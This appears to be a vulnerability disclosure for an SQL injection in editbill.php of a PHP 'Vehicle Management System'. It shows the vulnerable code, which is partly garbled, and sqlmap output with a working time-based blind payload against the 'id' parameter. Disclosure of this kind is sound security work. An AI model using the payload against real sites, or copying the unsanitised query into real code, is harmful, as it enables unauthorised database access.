## Vehicle Management System editbill.php has Sqlinjection

Vehicle Management System editbill.php has
Sqlinjection, The basic introduction of this
vulnerability is that SQL injection means that the
web application does not judge or filter the validity
of user input data strictly. An attacker can add
additional SQL statements to the end of the
predefined query statements in the web application to
achieve illegal operations without the
administrator's knowledge, so as to cheat the
database server to execute unauthorized arbitrary
queries and further obtain the corresponding data
information.

## Code

```
$id= $_GET['id']; __
        $conn=mysqli connect('localhost','veh','123456','veh');
        $sql="SELECT * FROM bill WHERE id='$id'";
        $result=mysqli_query($conn,$sql);
        $std=mysqli_fetch_assoc($result);
<!DOCTYPE html>
<html lang="en">
           <meta charset="utf-8">
           <meta http-equiv="X-UA-Compatible" content="IE=edge">
           <meta name="viewport" content="width=device-width, initial-scale=1">
           <title>Welcome</title>
           <link href="css/bootstrap.min.css" rel="stylesheet">
        <?php include 'navbar.php';?>
            <div class="container">
                 <div class="row">
                       <div class="col-md-2">
                            <a class="btn btn-info" href="index.php">Bill List</a>
                        <div class="col-md-8">
                        <h2>Edit bill</h2>
                        <form action="updatebill.php?id=<?php echo '$id'.'$bill_id'; ?>" method="POST">
                        <div class="form-group">
                             <label for="name">ID :</label>
                              <input required type="text" class="form-control" name="id" placeholder="vehicle id" value="<?php echo $std['id" placeholder="vehicle id" value="<?php echo $std['id" placeholder="vehicle id" value="<?php echo $std['id" placeholder="vehicle id" value="class="blaceholder="vehicle id" value="vehicle id" val
                        <div class="form-group">
```

## Sqlmap Attack

```
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values?
[Y/n] Y
[15:47:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:47:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:49:29] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests:

---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 4326 FROM (SELECT(SLEEP(5)))xNaL) AND 'IMWe'='IMWe
---
[15:50:27] [INFO] the back-end DBMS is MySQL
[15:50:27] [MARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
```

## **Payload**

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